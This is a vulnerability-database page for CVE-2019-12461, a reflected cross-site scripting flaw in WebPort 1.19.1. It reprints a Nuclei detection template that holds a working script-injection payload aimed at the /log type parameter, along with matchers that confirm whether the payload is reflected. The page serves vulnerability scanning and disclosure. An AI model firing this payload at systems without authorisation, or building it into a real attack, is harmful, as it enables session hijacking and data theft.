CVE-2019-12461: WebPort 1.19.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WebPort 1.19.1 | POC: 已公开

漏洞描述

Web Port 1.19.1 is vulnerable to cross-site scripting via the /log type parameter.

PoC代码[已公开]

id: CVE-2019-12461

info:
  name: WebPort 1.19.1 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Web Port 1.19.1 is vulnerable to cross-site scripting via the /log type parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of WebPort (1.19.2 or higher) which includes a fix for this vulnerability.
  reference:
    - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
    - https://webport.se/nedladdningar/
    - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS/
    - https://emreovunc.com/blog/en/WebPort-Reflected-XSS-02.png
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12461
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12461
    cwe-id: CWE-79
    epss-score: 0.55026
    epss-percentile: 0.97937
    cpe: cpe:2.3:a:webport:web_port:1.19.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webport
    product: web_port
  tags: cve,cve2019,xss,webport,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"</script><script>alert(document.domain);</script><script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100faff7792d35cc6142d96417f52aaebb22157b293864657c84676b8818b907d25022029fae1168df06f67a4aa318f6e86cec7512a169b1d8952dff5e3e226a59b7580:922c64590222798bb761d5b6d8e72950

相关漏洞推荐